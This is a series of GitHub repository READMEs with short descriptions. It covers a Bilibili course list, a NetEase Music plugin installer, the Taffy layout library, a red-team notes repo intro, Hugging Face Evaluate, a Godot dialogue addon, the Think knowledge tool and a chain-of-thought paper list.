[斯坦福·C++ 中的抽象编程](https://www.bilibili.com/BV1G7411k7jG) <img src="bilibili.svg" width="5%"/> 5. [MIT·计算机程序的构造与解释](https://www.bilibili.com/BV1AA411t7Wk) <img src="bilibili.svg" width="5%"/> 6. [MIT·信号与系统](https://www.bilibili.com/BV1L4411H7w3) <img src="bilibili.svg" width="5%"/> 7. [奥本海姆·MIT·信号与系统](https://www.bilibili.com/BV1CZ4y1j7hs) <img src="bilibili.svg" width="5%"/> 8. [MIT·计算结构](https://www.bilibili.com/BV197411s736) <img src="bilibili.svg" width="5%"/> 9. [MIT·python 编程](https://www.bilibili.com/BV1mq4y1u7NB) <img src="bilibili.svg" width="5%"/> 10. [MIT·区块链与金钱](https://www.bilibili.com/BV1pK4y1r7Jf) <img src="bilibili.svg" width="5%"/> # Economics 1. [耶鲁·金融市场](https://www.bilibili.com/BV1ab411b7jq) <img src="bilibili.svg" width="5%"/> 2. [MIT·微观经济学](https://www.bilibili.com/BV1MV411U75D) <img src="bilibili.svg" width="5%"/> 3. [MIT·金融理论](https://www.bilibili.com/BV1Ft4112796) <img src="bilibili.svg" width="5%"/> 4. [MIT·行为经济学](https://www.bilibili.com/BV11U4y1g78u) <img src="bilibili.svg" width="5%"/> # Physics 1. [斯坦福·量子力学](https://www.bilibili.com/BV1w4411s7da) <img src="bilibili.svg" width="5%"/> 2. [斯坦福·广义相对论](https://www.bilibili.com/BV1tE411R75K) <img src="bilibili.svg" width="5%"/> 3. [斯坦福·弦理论和 M 理论](https://www.bilibili.com/BV1CE411Q7Cc) <img src="bilibili.svg" width="5%"/> # Psychology 1. [加州伯克利·心理统计学](https://www.bilibili.com/BV1UJ411c7d8) <img src="bilibili.svg" width="5%"/> 2. [加州伯克利·社会认知心理学](https://www.bilibili.com/BV1Hx411u7SK) <img src="bilibili.svg" width="5%"/> 3. [耶鲁·心理学导论](https://www.bilibili.com/BV1Ps411Z7h1) <img src="bilibili.svg" width="5%"/> 4. [哈佛·积极心理学](https://www.bilibili.com/BV1ga41127Zt) <img src="bilibili.svg" width="5%"/> 5. [哈佛·心理学导论](https://www.bilibili.com/BV1hZ4y1w7kd) <img src="bilibili.svg" width="5%"/> 6. [哈佛·幸福课](https://www.bilibili.com/BV1px411d7xr) <img src="bilibili.svg" width="5%"/> # Metaphysics 1. [耶鲁·现代社会理论基础](https://www.bilibili.com/BV1ux411r736) <img src="bilibili.svg" width="5%"/> 2. [耶鲁·资本主义](https://www.bilibili.com/BV1x5411g7R5) <img src="bilibili.svg" width="5%"/> 3. [耶鲁·政治哲学导论](https://www.bilibili.com/BV1wx411y7uW) <img src="bilibili.svg" width="5%"/> 4. [斯坦福·人类行为生物学](https://www.bilibili.com/BV1FF411Y72Y) <img src="bilibili.svg" width="5%"/> 5. [剑桥·美学](https://www.bilibili.com/BV1av411e778) <img src="bilibili.svg" width="5%"/> # Others 1. [MIT·几何折叠算法](https://www.bilibili.com/BV14q4y1R7Ra) <img src="bilibili.svg" width="5%"/> 2. [斯坦福·如何创业](https://www.bilibili.com/BV1KK4y1s7mY) <img src="bilibili.svg" width="5%"/> 3. [斯坦福·SCI 论文写作课程](https://www.bilibili.com/BV1zv41177JQ) <img src="bilibili.svg" width="5%"/> 4. [欧丽娟说红楼梦](https://www.bilibili.com/BV1hp4y1t7zq) <img src="bilibili.svg" width="5%"/> 5. [罗翔讲刑法](https://www.bilibili.com/BV1dj411f7vb) <img src="bilibili.svg" width="5%"/> 6. [耶鲁·聆听音乐](https://www.bilibili.com/BV1sW411a7nM) <img src="bilibili.svg" width="5%"/> 7. [耶鲁·文学理论导论](https://www.bilibili.com/BV15s411x7LU) <img src="bilibili.svg" width="5%"/> 8. [耶鲁·如何管理情绪](https://www.bilibili.com/BV1KK4y1P7Df) <img src="bilibili.svg" width="5%"/> 9. [耶鲁·谈判概论](https://www.bilibili.com/BV13T4y1L7AT) <img src="bilibili.svg" width="5%"/>

awesome public courses and wonderful study resource

awesome-list,study,learing,courses

MicroCBer/BetterNCM-Installer

<div align="center"><image width="140em" src="https://user-images.githubusercontent.com/66859419/183120498-1dede5b4-0666-4891-b95f-c3a812b3f12f.png" /></div> <h1 align="center">BetterNCM Installer II</h1> <h3 align="center">PC版网易云客户端插件管理器</h3> 一键安装 [BetterNCM V2](https://github.com/MicroCBer/BetterNCM) **网易云版本必须 `>=2.10.2`**   # 手动安装流程 1. 从 BetterNCM 仓库下载最新版 `BetterNCMII.dll` 2. 打开网易云音乐安装目录，将上一步下载的 `BetterNCMII.dll` 复制进去并改名为 `msimg32.dll` # 插件库 已在 BetterNCM 内置 # 构建 ```bash cargo +nightly build --release -Z build-std=core,alloc,std,panic_abort -Z build-std-features=panic_immediate_abort --target i686-pc-windows-msvc ```

一键安装 Better 系软件

DioxusLabs/taffy

# Taffy [](https://github.com/DioxusLabs/taffy/actions/workflows/ci.yml) [](https://crates.io/crates/taffy) [](https://docs.rs/taffy) Taffy is a flexible, high-performance, cross-platform UI layout library written in [Rust](https://www.rust-lang.org). It currently implements the CSS **Block**, **Flexbox** and **CSS Grid** layout algorithms. Support for other paradigms is planned. For more information on this and other future development plans see the [roadmap issue](https://github.com/DioxusLabs/taffy/issues/345). This crate is a collaborative, cross-team project, and is designed to be used as a dependency for other UI and GUI libraries. Right now, it powers: - [Dioxus](https://dioxuslabs.com/): a React-like library for building fast, portable, and beautiful user interfaces with Rust - [Bevy](https://bevyengine.org/): an ergonomic, ECS-first Rust game engine - The [Lapce](https://lapce.dev/) text editor via the [Floem](https://github.com/lapce/floem) UI framework - The [Zed](https://zed.dev/) text editor via the [GPUI](https://github.com/zed-industries/zed/tree/main/crates/gpui) UI framework ## Usage ```rust use taffy::prelude::*; // First create an instance of TaffyTree let mut tree : TaffyTree<()> = TaffyTree::new(); // Create a tree of nodes using `TaffyTree.new_leaf` and `TaffyTree.new_with_children`. // These functions both return a node id which can be used to refer to that node // The Style struct is used to specify styling information let header_node = tree .new_leaf( Style { size: Size { width: length(800.0), height: length(100.0) }, ..Default::default() }, ).unwrap(); let body_node = tree .new_leaf( Style { size: Size { width: length(800.0), height: auto() }, flex_grow: 1.0, ..Default::default() }, ).unwrap(); let root_node = tree .new_with_children( Style { flex_direction: FlexDirection::Column, size: Size { width: length(800.0), height: length(600.0) }, ..Default::default() }, &[header_node, body_node], ) .unwrap(); // Call compute_layout on the root of your tree to run the layout algorithm tree.compute_layout(root_node, Size::MAX_CONTENT).unwrap(); // Inspect the computed layout using `TaffyTree.layout` assert_eq!(tree.layout(root_node).unwrap().size.width, 800.0); assert_eq!(tree.layout(root_node).unwrap().size.height, 600.0); assert_eq!(tree.layout(header_node).unwrap().size.width, 800.0); assert_eq!(tree.layout(header_node).unwrap().size.height, 100.0); assert_eq!(tree.layout(body_node).unwrap().size.width, 800.0); assert_eq!(tree.layout(body_node).unwrap().size.height, 500.0); // This value was not set explicitly, but was computed by Taffy ``` ## Bindings to other languages - Python via [stretchable](https://github.com/mortencombat/stretchable) - [WIP C bindings](https://github.com/DioxusLabs/taffy/pull/404) - [WIP WASM bindings](https://github.com/DioxusLabs/taffy/pull/394) ## Learning Resources Taffy implements the Flexbox and CSS Grid specifications faithfully, so documentation designed for the web should translate cleanly to Taffy's implementation. For reference documentation on individual style properties we recommend the MDN documentation (for example [this page](https://developer.mozilla.org/en-US/docs/Web/CSS/width) on the `width` property). Such pages can usually be found by searching for "MDN property-name" using a search engine. If you are interested in guide-level documentation on CSS layout, then we recommend the following resources: ### Flexbox - [Flexbox Froggy](https://flexboxfroggy.com/). This is an interactive tutorial/game that allows you to learn the essential parts of Flexbox in a fun engaging way. - [A Complete Guide To Flexbox](https://css-tricks.com/snippets/css/a-guide-to-flexbox/) by CSS Tricks. This is detailed guide with illustrations and comprehensive written explanation of the different Flexbox properties and how they work. ### CSS Grid - [CSS Grid Garden](https://cssgridgarden.com/). This is an interactive tutorial/game that allows you to learn the essential parts of CSS Grid in a fun engaging way. - [A Complete Guide To CSS Grid](https://css-tricks.com/snippets/css/complete-guide-grid/) by CSS Tricks. This is detailed guide with illustrations and comprehensive written explanation of the different CSS Grid properties and how they work. ## Benchmarks (vs. [Yoga](https://github.com/facebook/yoga)) - Run on a 2021 MacBook Pro with M1 Pro processor using [criterion](https://github.com/bheisler/criterion.rs) - The benchmarks measure layout computation only. They do not measure tree creation. - Yoga benchmarks were run via the [yoga](https://github.com/bschwind/yoga-rs) crate (Rust bindings) - Most popular websites seem to have between 3,000 and 10,000 nodes (although they also require text layout, which neither yoga nor taffy implement). Note that the table below contains multiple different units (milliseconds vs. microseconds) | Benchmark | Node Count | Depth | Yoga ([ba27f9d]) | Taffy ([71027a8]) | | --- | --- | --- | --- | --- | | yoga 'huge nested' | 1,000 | 3 | 364.60 µs | 329.04 µs | | yoga 'huge nested' | 10,000 | 4 | 4.1988 ms | 4.3486 ms | | yoga 'huge nested' | 100,000 | 5 | 45.804 ms | 38.559 ms | | big trees (wide) | 1,000 | 1 | 737.77 µs | 505.99 µs | | big trees (wide) | 10,000 | 1 | 7.1007 ms | 8.3395 ms | | big trees (wide) | 100,000 | 1 | 135.78 ms | 247.42 ms | | big trees (deep) | 4,000 | 12 | 2.2333 ms | 1.7400 ms | | big trees (deep) | 10,000 | 14 | 5.9477 ms | 4.4445 ms | | big trees (deep) | 100,000 | 17 | 76.755 ms | 63.778 ms | | super deep | 1,000 | 1,000 | 555.32 µs | 472.85 µs | [ba27f9d]: https://github.com/facebook/yoga/commit/ba27f9d1ecfa7518019845b84b035d3d4a2a6658 [71027a8]: https://github.com/DioxusLabs/taffy/commit/71027a8de03b343e120852b84bb7dca9fb4651c5 ## Contributions [Contributions welcome](https://github.com/DioxusLabs/taffy/blob/main/CONTRIBUTING.md): if you'd like to use, improve or build `taffy`, feel free to join the conversation, open an [issue](https://github.com/DioxusLabs/taffy/issues) or submit a [PR](https://github.com/DioxusLabs/taffy/pulls). If you have questions about how to use `taffy`, open a [discussion](https://github.com/DioxusLabs/taffy/discussions) so we can answer your questions in a way that others can find.

A high performance rust-powered UI layout library

flexbox,ui,hacktoberfest,rust,css-grid,layout

biggerduck/RedTeamNotes

<div align=center><img src=https://user-images.githubusercontent.com/33535846/164413361-ffb5d78a-91e9-402c-979e-43d32cf91063.png width="400" height="300"/></div> # 本项目主要为了记录笔者日常做红队项目的时候遇到的各种小问题以及解决方案。 这些小问题具有以下特征 其一是非常的具体化，可能就涉及一个小点的细节，但是这个点不突破，就难以进入后面的渗透环节。 其二是涉及的面非常的广，弥漫性很强，如果不是全栈红队，很难归类成系统化的东西，但是全栈红队又特别少，因此目前的办法只能遇到一些问题就记录一些。 基于以上两点，就有了本项目。 笔者是一个攻防爱好者，也是一个安全研究员，日常工作是参加各种攻防项目，喜欢实战，不喜欢华而不实的技术和各种方法论，安全技术本身研究出来就是要拿出去应用的，不能应用于实战我研究它干什么。 思想需要不断和外界接触和碰撞，才能创造出更大的价值，尤其是在技术思想上，更尤其在实战技术思想上。因为任何一项技术不是生而完美的，诞生出来之后，不断的经历迭代，在实战中沉淀，和同行不断的交流碰撞，发现缺点，不断修复，不断改进，不断超越，最终才能催化出更加完美的技术，这也是技术开源和思想开源的意义所在。 该项目中的笔记内容会涉及代码审计/打点/免杀/内网渗透等方向，还会涉及一些本质的思想层面，内容比较驳杂，主要是笔者中遇到的实战问题的解决方案以及对于渗透攻防思想理解的陈述。 笔力有限，有所疏漏在所难免，发现问题欢迎提issues。 以上，开启红队之旅。 # 目前已经转战甲方搞内部红队建设，不再参与各类省市攻防项目，溯源到id或者真实信息均与本人无关。 # 本版块文章只在Github首发，基于技术交流的对本版块文章进行二次分享及转载完全没有问题，Github本身也是开源平台。 但是近期发现有人用这里的文章发公众号引流做知识星球还有做自己机构的培训引流等操作，这里请各位注意，我没有运营或授权任何公众号及外部机构来做盈利操作。 同时针对本版块，现在也好，以后也罢，也并不打算做任何商业行为来盈利，任何以盈利为目的的操作均非本人所为。 在这里发文章的目的很简单： 一是我自己可以通过写作做信息整合，系统化自己的学习思路和知识体系。 二是把自己的一些东西和大家分享交流，不能确保篇篇文章都是精品，但是只要有人觉得看了有用，那么这个板块就有存在的价值，我也会因为帮到别人而觉得开心。 仅此而已 # 本项目仅供技术交流参考之用，请严格遵守当地法律法规，不要利用本项目中的技术进行违法犯罪操作，一旦触犯法律与本人无关。

红队笔记

huggingface/evaluate

<p align="center"> <br> <img src="https://huggingface.co/datasets/evaluate/media/resolve/main/evaluate-banner.png" width="400"/> <br> </p> <p align="center"> <a href="https://github.com/huggingface/evaluate/actions/workflows/ci.yml?query=branch%3Amain"> <img alt="Build" src="https://github.com/huggingface/evaluate/actions/workflows/ci.yml/badge.svg?branch=main"> </a> <a href="https://github.com/huggingface/evaluate/blob/master/LICENSE"> <img alt="GitHub" src="https://img.shields.io/github/license/huggingface/evaluate.svg?color=blue"> </a> <a href="https://huggingface.co/docs/evaluate/index"> <img alt="Documentation" src="https://img.shields.io/website/http/huggingface.co/docs/evaluate/index.svg?down_color=red&down_message=offline&up_message=online"> </a> <a href="https://github.com/huggingface/evaluate/releases"> <img alt="GitHub release" src="https://img.shields.io/github/release/huggingface/evaluate.svg"> </a> <a href="CODE_OF_CONDUCT.md"> <img alt="Contributor Covenant" src="https://img.shields.io/badge/Contributor%20Covenant-2.0-4baaaa.svg"> </a> </p> 🤗 Evaluate is a library that makes evaluating and comparing models and reporting their performance easier and more standardized. It currently contains: - **implementations of dozens of popular metrics**: the existing metrics cover a variety of tasks spanning from NLP to Computer Vision, and include dataset-specific metrics for datasets. With a simple command like `accuracy = load("accuracy")`, get any of these metrics ready to use for evaluating a ML model in any framework (Numpy/Pandas/PyTorch/TensorFlow/JAX). - **comparisons and measurements**: comparisons are used to measure the difference between models and measurements are tools to evaluate datasets. - **an easy way of adding new evaluation modules to the 🤗 Hub**: you can create new evaluation modules and push them to a dedicated Space in the 🤗 Hub with `evaluate-cli create [metric name]`, which allows you to see easily compare different metrics and their outputs for the same sets of references and predictions. [🎓 **Documentation**](https://huggingface.co/docs/evaluate/) 🔎 **Find a [metric](https://huggingface.co/evaluate-metric), [comparison](https://huggingface.co/evaluate-comparison), [measurement](https://huggingface.co/evaluate-measurement) on the Hub** [🌟 **Add a new evaluation module**](https://huggingface.co/docs/evaluate/) 🤗 Evaluate also has lots of useful features like: - **Type checking**: the input types are checked to make sure that you are using the right input formats for each metric - **Metric cards**: each metrics comes with a card that describes the values, limitations and their ranges, as well as providing examples of their usage and usefulness. - **Community metrics:** Metrics live on the Hugging Face Hub and you can easily add your own metrics for your project or to collaborate with others. # Installation ## With pip 🤗 Evaluate can be installed from PyPi and has to be installed in a virtual environment (venv or conda for instance) ```bash pip install evaluate ``` # Usage 🤗 Evaluate's main methods are: - `evaluate.list_evaluation_modules()` to list the available metrics, comparisons and measurements - `evaluate.load(module_name, **kwargs)` to instantiate an evaluation module - `results = module.compute(*kwargs)` to compute the result of an evaluation module # Adding a new evaluation module First install the necessary dependencies to create a new metric with the following command: ```bash pip install evaluate[template] ``` Then you can get started with the following command which will create a new folder for your metric and display the necessary steps: ```bash evaluate-cli create "Awesome Metric" ``` See this [step-by-step guide](https://huggingface.co/docs/evaluate/creating_and_sharing) in the documentation for detailed instructions. ## Credits Thanks to [@marella](https://github.com/marella) for letting us use the `evaluate` namespace on PyPi previously used by his [library](https://github.com/marella/evaluate).

🤗 Evaluate: A library for easily evaluating machine learning models and datasets.

evaluation,machine-learning

nathanhoad/godot_dialogue_manager

<img src="docs/logo.svg" width="128" height="128"> # Dialogue Manager _for Godot 4_ Dialogue Manager is an addon for [Godot 4](https://godotengine.org/) (there's a [Godot 3 version too](https://github.com/nathanhoad/godot_dialogue_manager/tree/v1.x)) that provides a stateless branching dialogue editor and runtime. Write your dialogue in a script-like way and easily integrate it into your game. You can install it via the Asset Library or [downloading a copy](https://github.com/nathanhoad/godot_dialogue_manager/archive/refs/heads/main.zip) from GitHub. [](https://www.patreon.com/nathanhoad) [](https://discord.gg/zwBVQdJchX)  ## Documentation - [FAQ](docs/FAQ.md) - [Writing Dialogue](docs/Writing_Dialogue.md) - [Settings](docs/Settings.md) - [Using dialogue in your game](docs/Using_Dialogue.md) - [Example balloons](docs/Example_Balloons.md) - [Translations](docs/Translations.md) - [API](docs/API.md) - [C# wrapper](docs/CSharp.md) ## Example Projects [](https://nathanhoad.itch.io/godot-dialogue-example-project-portraits) ## Wishlist my game [](https://bravestcoconut.com/wishlist) ## Video Guides [](https://youtu.be/UhPFk8FSbd8) [](https://youtu.be/U3Mimia-904) [](https://youtu.be/X0e-n7dbff8) [](https://youtu.be/DfdcyHwqXdo) [](https://youtu.be/DL79aS-dT7E) [](https://youtu.be/Kco9jeGfOtA) [](https://youtu.be/10p1gozzJ9E) [](https://youtu.be/-rytm4o1ndE) [](https://youtu.be/hKQ_s5tl4dI) ## Contributors Dialogue Manager is made by [Nathan Hoad](https://nathanhoad.net) with help from [these cool people](https://github.com/nathanhoad/godot_dialogue_manager/graphs/contributors). ## License Licensed under the MIT license, see `LICENSE` for more information.

A powerful nonlinear dialogue system for Godot

godot,dialogue,editor,runtime,addon,gdscript,godot4,godotengine,csharp

fantasticit/think

# think ## 声明 1. 请先阅读[提问的智慧](https://github.com/ryanhanwu/How-To-Ask-Questions-The-Smart-Way/blob/main/README-zh_CN.md) 2. 为什么停止开发了？ 1. 对于文档类产品，无法做出独立的 library 或 framework 给不同需求的团队（或个人），这使得我不确定这件事的意义 2. 对于独立编辑器开发，无论最终以何种形态存在，其表现还是为应用，而非框架（或依赖），能做到的也许只是一种示范 3. 作者本身专攻前端，对高性能、扩展性良好的后端架构心有余而力不足，同时也缺乏专业的运维知识（欢迎赐教） 4. 对于 ProseMirror 和 yjs 本身还有许多玩法，但是精力不足 1. 类似金山文档的表格体验 2. 类似飞书文档的拖拽到节点前后生成分栏 3. markdown 、txt、office 文件的导入导出（office 方面可能需要后端协助，java poi 是一个可行的选择） 4. 从 office 套件粘贴到编辑器，保留格式和图片（前端可独立完成，思路可参考 TinyCME 的 PowerPaste 和 RTF） 5. 基于 yjs 的版本备份和恢复（部分同学提出增量保存 diff，个人还是建议全量 snapshot） 6. 基于 yjs 的协同开发（比如结合 luckysheet） 3. 如果希望参与编辑器开发，可以到[这个仓库](https://github.com/fantasticit/sailkit)参与。 ## 简介 Think 是一款开源知识管理工具。通过独立的知识库空间，结构化地组织在线协作文档，实现知识的积累与沉淀，促进知识的复用与流通。同时支持多人协作文档。使用的技术如下： - `MySQL`：数据存储 - `next.js`：前端页面框架 - `nest.js`：服务端框架 - `tiptap`：编辑器及文档协作 可访问[云策文档帮助中心](https://think.codingit.cn/share/wiki/WoiR8N5uj4i7)，查看更多功能文档。 ## 链接 [云策文档](https://think.codingit.cn)已经部署上线，可前往注册使用。 ## 预览 <details> <summary>查看预览图</summary> <img alt="知识库" src="http://wipi.oss-cn-shanghai.aliyuncs.com/2022-02-20/YN67GM4VQMBTZFZ88TYP8X/image.png" width="420" /> <img alt="新建文档" src="http://wipi.oss-cn-shanghai.aliyuncs.com/2022-02-20/YN67GM4VQMBTZFZ88TYPQX/image.png" width="420" /> <img alt="编辑器" src="http://wipi.oss-cn-shanghai.aliyuncs.com/2022-02-20/YN67GM4VQMBTZFZ88TYPZX/image.png" width="420" /> </details> ## 项目开发 [项目开发说明](./let-us-start.md)。 ## 自动化部署 > 思路：在服务器部署 webhook，然后在 github setting 中配置相应钩子，实现自动化部署 参考：[webhook](https://github.com/adnanh/webhook/blob/master/docs/Hook-Examples.md#incoming-github-webhook) ## 赞助 如果这个项目对您有帮助，并且您希望支持该项目的开发和维护，请随时扫描一下二维码进行捐赠。非常感谢您的捐款，谢谢！ <div style="display: flex;"> <img width="300" alt="alipay" src="https://think-1256095494.cos.ap-shanghai.myqcloud.com/think-alipay.jpg" /> <img width="300" alt="wechat" src="https://think-1256095494.cos.ap-shanghai.myqcloud.com/think-wechat.jpg" /> </div> ## 贡献者 感谢所有为本项目作出贡献的同学！ <a href="https://github.com/fantasticit/think/contributors"><img src="https://opencollective.com/think/contributors.svg?width=890" /></a>

云策文档是一款开源知识管理工具。通过独立的知识库空间，结构化地组织在线协作文档，实现知识的积累与沉淀，促进知识的复用与流通。

collaborative-editing,nestjs,nextjs

Timothyxxx/Chain-of-ThoughtsPapers

# Chain-of-ThoughtsPapers  A trend starts from "Chain of Thought Prompting Elicits Reasoning in Large Language Models". Check **[Tool use LLMs](https://github.com/xlang-ai/llm-tool-use)** and **[Environment Interactive LLMs](https://github.com/Timothyxxx/EnvInteractiveLMPapers)** for the newest good direction we are doing! ## Papers 1. **Chain of Thought Prompting Elicits Reasoning in Large Language Models.** *Jason Wei, Xuezhi Wang, Dale Schuurmans, Maarten Bosma, Ed Chi, Quoc Le, Denny Zhou* [[pdf](https://arxiv.org/abs/2201.11903)] 2022.1 2. **Self-Consistency Improves Chain of Thought Reasoning in Language Models.** *Xuezhi Wang, Jason Wei, Dale Schuurmans, Quoc Le, Ed Chi, Denny Zhou* [[pdf](https://arxiv.org/abs/2203.11171)] 2022.3 3. **STaR: Self-Taught Reasoner Bootstrapping Reasoning With Reasoning.** *Eric Zelikman, Yuhuai Wu, Noah D. Goodman* [[pdf](https://arxiv.org/abs/2203.14465)], [[code](https://github.com/ezelikman/STaR)] 2022.3 4. **PaLM: Scaling Language Modeling with Pathways.** *Aakanksha Chowdhery, Sharan Narang, Jacob Devlin, Maarten Bosma, Gaurav Mishra, Adam Roberts, Paul Barham, Hyung Won Chung, Charles Sutton, Sebastian Gehrmann, Parker Schuh, Kensen Shi, Sasha Tsvyashchenko, Joshua Maynez, Abhishek Rao, Parker Barnes, Yi Tay, Noam Shazeer, Vinodkumar Prabhakaran, Emily Reif, Nan Du, Ben Hutchinson, Reiner Pope, James Bradbury, Jacob Austin, Michael Isard, Guy Gur-Ari, Pengcheng Yin, Toju Duke, Anselm Levskaya, Sanjay Ghemawat, Sunipa Dev, Henryk Michalewski, Xavier Garcia, Vedant Misra, Kevin Robinson, Liam Fedus, Denny Zhou, Daphne Ippolito, David Luan, Hyeontaek Lim, Barret Zoph, Alexander Spiridonov, Ryan Sepassi, David Dohan, Shivani Agrawal, Mark Omernick, Andrew M. Dai, Thanumalayan Sankaranarayana Pillai, Marie Pellat, Aitor Lewkowycz, Erica Moreira, Rewon Child, Oleksandr Polozov, Katherine Lee, Zongwei Zhou, Xuezhi Wang, Brennan Saeta, Mark Diaz, Orhan Firat, Michele Catasta, Jason Wei, Kathy Meier-Hellstern, Douglas Eck, Jeff Dean, Slav Petrov, Noah Fiedel* [[pdf](https://arxiv.org/abs/2204.02311)] 2022.4 5. **Can language models learn from explanations in context?.** *Andrew K. Lampinen, Ishita Dasgupta, Stephanie C. Y. Chan, Kory Matthewson, Michael Henry Tessler, Antonia Creswell, James L. McClelland, Jane X. Wang, Felix Hill* [[pdf](https://arxiv.org/abs/2204.02329)] 2022.4 6. **Inferring Implicit Relations with Language Models.** *Uri Katz, Mor Geva, Jonathan Berant* [[pdf](https://arxiv.org/abs/2204.13778)] 2022.4 7. **The Unreliability of Explanations in Few-Shot In-Context Learning.** *Xi Ye, Greg Durrett* [[pdf](https://arxiv.org/abs/2205.03401)] 2022.5 8. **Large Language Models are Zero-Shot Reasoners.** *Takeshi Kojima, Shixiang Shane Gu, Machel Reid, Yutaka Matsuo, Yusuke Iwasawa* [[pdf](https://arxiv.org/abs/2205.11916)], [[code](https://github.com/kojima-takeshi188/zero_shot_cot)] 2022.5 9. **Least-to-Most Prompting Enables Complex Reasoning in Large Language Models.** *Denny Zhou, Nathanael Schärli, Le Hou, Jason Wei, Nathan Scales, Xuezhi Wang, Dale Schuurmans, Olivier Bousquet, Quoc Le, Ed Chi* [[pdf](https://arxiv.org/abs/2205.10625)] 2022.5 10. **Selection-Inference: Exploiting Large Language Models for Interpretable Logical Reasoning.** *Antonia Creswell, Murray Shanahan, Irina Higgins* [[pdf](https://arxiv.org/abs/2205.09712)] 2022.5 11. **On the Advance of Making Language Models Better Reasoners.** *Yifei Li, Zeqi Lin, Shizhuo Zhang, Qiang Fu, Bei Chen, Jian-Guang Lou, Weizhu Chen* [[pdf](https://arxiv.org/abs/2206.02336)] 2022.6 12. **Emergent Abilities of Large Language Models.** *Jason Wei, Yi Tay, Rishi Bommasani, Colin Raffel, Barret Zoph, Sebastian Borgeaud, Dani Yogatama, Maarten Bosma, Denny Zhou, Donald Metzler, Ed H. Chi, Tatsunori Hashimoto, Oriol Vinyals, Percy Liang, Jeff Dean, William Fedus* [[pdf](https://arxiv.org/abs/2206.07682)] 2022.6 13. **Minerva: Solving Quantitative Reasoning Problems with Language Models.** *Posted by Ethan Dyer and Guy Gur-Ari, Research Scientists, Google Research, Blueshift Team* [[blog](https://ai.googleblog.com/2022/06/minerva-solving-quantitative-reasoning.html)] 2022.6 14. **JiuZhang: A Chinese Pre-trained Language Model for Mathematical Problem Understanding.** *Wayne Xin Zhao, Kun Zhou, Zheng Gong, Beichen Zhang, Yuanhang Zhou, Jing Sha, Zhigang Chen, Shijin Wang, Cong Liu, Ji-Rong Wen* [[pdf](https://arxiv.org/abs/2206.06315)], [[code](https://github.com/rucaibox/jiuzhang)] 2022.6 15. **A Dataset and Benchmark for Automatically Answering and Generating Machine Learning Final Exams** *Sarah Zhang, Reece Shuttleworth, Derek Austin, Yann Hicke, Leonard Tang, Sathwik Karnik, Darnell Granberry, Iddo Drori* [[pdf](https://arxiv.org/abs/2206.05442)] 2022.6 16. **Rationale-Augmented Ensembles in Language Models.** *Xuezhi Wang, Jason Wei, Dale Schuurmans, Quoc Le, Ed Chi, Denny Zhou* [[pdf](https://arxiv.org/abs/2207.00747)] 2022.7 17. **Language Model Cascades.** *David Dohan, Winnie Xu, Aitor Lewkowycz, Jacob Austin, David Bieber, Raphael Gontijo Lopes, Yuhuai Wu, Henryk Michalewski, Rif A. Saurous, Jascha Sohl-dickstein, Kevin Murphy, Charles Sutton* [[pdf](https://arxiv.org/abs/2207.10342)], [[code](https://github.com/google-research/cascades)] 2022.7 18. **Text and Patterns: For Effective Chain of Thought, It Takes Two to Tango.** *Aman Madaan, Amir Yazdanbakhsh* [[pdf](https://arxiv.org/abs/2209.07686)] 2022.9 19. **Compositional Semantic Parsing with Large Language Models.** *Andrew Drozdov, Nathanael Schärli, Ekin Akyürek, Nathan Scales, Xinying Song, Xinyun Chen, Olivier Bousquet, Denny Zhou* [[pdf](https://arxiv.org/abs/2209.15003)] 2022.9 20. **Dynamic Prompt Learning via Policy Gradient for Semi-structured Mathematical Reasoning.** *Pan Lu, Liang Qiu, Kai-Wei Chang, Ying Nian Wu, Song-Chun Zhu, Tanmay Rajpurohit, Peter Clark, Ashwin Kalyan* [[pdf](https://arxiv.org/abs/2209.14610)] 2022.9 21. **Language Models are Multilingual Chain-of-Thought Reasoners.** *Freda Shi, Mirac Suzgun, Markus Freitag, Xuezhi Wang, Suraj Srivats, Soroush Vosoughi, Hyung Won Chung, Yi Tay, Sebastian Ruder, Denny Zhou, Dipanjan Das, Jason Wei* [[pdf](https://arxiv.org/abs/2210.03057)], [[code](https://github.com/google-research/url-nlp)] 2022.10 22. **Automatic Chain of Thought Prompting in Large Language Models.** *Zhuosheng Zhang, Aston Zhang, Mu Li, Alex Smola* [[pdf](https://arxiv.org/abs/2210.03493)], [[code](https://github.com/amazon-science/auto-cot)] 2022.10 23. **Binding Language Models in Symbolic Languages.** *Zhoujun Cheng*, Tianbao Xie*, Peng Shi, Chengzu Li, Rahul Nadkarni, Yushi Hu, Caiming Xiong, Dragomir Radev, Mari Ostendorf, Luke Zettlemoyer, Noah A. Smith, Tao Yu* [[pdf](https://arxiv.org/abs/2210.02875)], [[code](https://github.com/hkunlp/binder)] 2022.10 24. **ReAct: Synergizing Reasoning and Acting in Language Models.** *Shunyu Yao, Jeffrey Zhao, Dian Yu, Nan Du, Izhak Shafran, Karthik Narasimhan, Yuan Cao* [[pdf](https://arxiv.org/abs/2210.03629)], [[code](https://github.com/ysymyth/ReAct)] 2022.10 25. **Ask Me Anything: A simple strategy for prompting language models.** *Simran Arora, Avanika Narayan, Mayee F. Chen, Laurel Orr, Neel Guha, Kush Bhatia, Ines Chami, Frederic Sala, Christopher Ré* [[pdf](https://arxiv.org/abs/2210.02441)], [[code](https://github.com/HazyResearch/ama_prompting)] 2022.10 26. **Language Models of Code are Few-Shot Commonsense Learners.** *Aman Madaan, Shuyan Zhou, Uri Alon, Yiming Yang, Graham Neubig* [[pdf](https://arxiv.org/abs/2210.07128)], [[code](https://github.com/madaan/cocogen)] 2022.10 27. **Large Language Models Can Self-Improve.** *Jiaxin Huang, Shixiang Shane Gu, Le Hou, Yuexin Wu, Xuezhi Wang, Hongkun Yu, Jiawei Han* [[pdf](https://arxiv.org/abs/2210.11610)] 2022.10 28. **Large Language Models are few(1)-shot Table Reasoners.** *Wenhu Chen* [[pdf](https://arxiv.org/abs/2210.06710)], [[code](https://github.com/wenhuchen/tablecot)] 2022.10 39. **PAL: Program-aided Language Models.** *Luyu Gao, Aman Madaan, Shuyan Zhou, Uri Alon, Pengfei Liu, Yiming Yang, Jamie Callan, Graham Neubig* [[pdf](https://arxiv.org/abs/2211.10435)] 2022.11 30. **Program of Thoughts Prompting: Disentangling Computation from Reasoning for Numerical Reasoning Tasks.** *Wenhu Chen, Xueguang Ma, Xinyi Wang, William W. Cohen* [[pdf](https://arxiv.org/abs/2211.12588)], [[code](https://github.com/wenhuchen/program-of-thoughts)] 2022.11 31. **Self-Prompting Large Language Models for Zero-Shot Open-Domain QA.** *Junlong Li, Zhuosheng Zhang, Hai Zhao* [[pdf](https://arxiv.org/abs/2212.08635)] 2022.12 32. **Reasoning with Language Model Prompting: A Survey.** 